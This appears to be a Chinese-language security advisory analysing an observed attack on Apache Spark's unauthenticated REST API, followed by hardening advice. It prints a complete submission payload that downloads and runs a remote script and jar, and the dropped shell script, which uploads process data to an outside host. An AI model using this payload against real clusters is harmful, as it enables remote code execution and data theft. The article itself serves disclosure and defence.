您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)如何進(jìn)行Spark REST API未授權(quán)漏洞利用分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
Apache Spark 是專為大規(guī)模數(shù)據(jù)處理而設(shè)計(jì)的快速通用的計(jì)算引擎,是UC Berkeley AMP lab(加州大學(xué)伯克利分校的AMP實(shí)驗(yàn)室)所開源的類Hadoop MapReduce的通用并行框架。為了讓使用者能夠方便的控制系統(tǒng)進(jìn)行計(jì)算和查看任務(wù)結(jié)果,Spark也提供了 WEB UI圖形化界面和相應(yīng)的 REST API來方便用戶操作。
Spark作為大數(shù)據(jù)時代的”計(jì)算引擎”,一旦被攻破,企業(yè)的核心數(shù)據(jù)資產(chǎn)、計(jì)算能力、用戶敏感數(shù)據(jù)都將被攻擊者竊??;更進(jìn)一步的,由于Spark自身的分布式特性,一個攻擊點(diǎn)的攻破可能導(dǎo)致整個集群的淪陷。Spark權(quán)限設(shè)置不當(dāng),可能導(dǎo)致攻擊者無需認(rèn)證即可通過該 REST API來操作Spark創(chuàng)建任務(wù)、刪除任務(wù)、查看任務(wù)結(jié)果等,從而最終獲得執(zhí)行任意指令的能力。
我們還原了攻擊者的攻擊步驟:
1. 攻擊者通過web掃描的方式發(fā)現(xiàn)了一臺Spark webui服務(wù)
2. 構(gòu)造攻擊指令,并通過6066端口發(fā)送到該服務(wù)器的REST API
POST /v1/submissions/createhost:xxxx.xxx.xx:6066{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }
該攻擊payload指示服務(wù)器遠(yuǎn)程下載https://xxxxxxxx.onion.plus/SimpleApp.jar ,并執(zhí)行攻擊者指定的任意方法,該攻擊者還通過洋蔥網(wǎng)絡(luò)來隱藏自己的相關(guān)信息。
3.對該 jar 包進(jìn)行逆向分析,該 jar 包即是一個簡單的執(zhí)行命令的后門,
執(zhí)行 jar 包時,Spark服務(wù)器將會從洋蔥網(wǎng)絡(luò)中下載一段shell腳本并執(zhí)行。
4.腳本內(nèi)容如下:
#!/bin/bashps ax --sort=-pcpu > /tmp/tmp.txtcurl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.phprm -rf /tmp/tmp.txt
該腳本只是簡單的將性能信息打印并回傳,暫未進(jìn)行進(jìn)一步的攻擊。
目前全網(wǎng)監(jiān)控,開放了8080端口暴露在公網(wǎng)的Spark機(jī)器共有5000臺左右,黑客可批量接管其中存在權(quán)限問題的機(jī)器。
在此之前,阿里云安全團(tuán)隊(duì)曾針對分布式計(jì)算系統(tǒng)相關(guān)的漏洞進(jìn)行過預(yù)警
這兩個漏洞原理和利用方法非常相似,這也佐證了之前的預(yù)判。
隨著加密貨幣經(jīng)濟(jì)的進(jìn)一步繁榮,具有強(qiáng)大算力,但是較弱安全能力的分布式應(yīng)用將面臨更多的漏洞利用和黑客攻擊。
由于Hadoop Yarn未授權(quán)漏洞在全網(wǎng)已經(jīng)成為了黑客挖礦的一種重要手法,我們有理由相信Spark REST API漏洞也將很快被黑產(chǎn)利用。
建議通過iptables或者安全組配置訪問策略,限制對8088、8081、7707、6606等端口的訪問;并且如無必要,不要將接口開放在公網(wǎng),改為本地或者內(nèi)網(wǎng)調(diào)用;
建議使用Spark的yarn控制模式,并且開啟HTTP Kerberos對WEB UI進(jìn)行訪問控制;如采用Spark standalone模式,需要自行實(shí)現(xiàn)訪問控制的jar包,并設(shè)置spark.ui.filters對WEB UI進(jìn)行訪問控制,
看完上述內(nèi)容,你們對如何進(jìn)行Spark REST API未授權(quán)漏洞利用分析有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。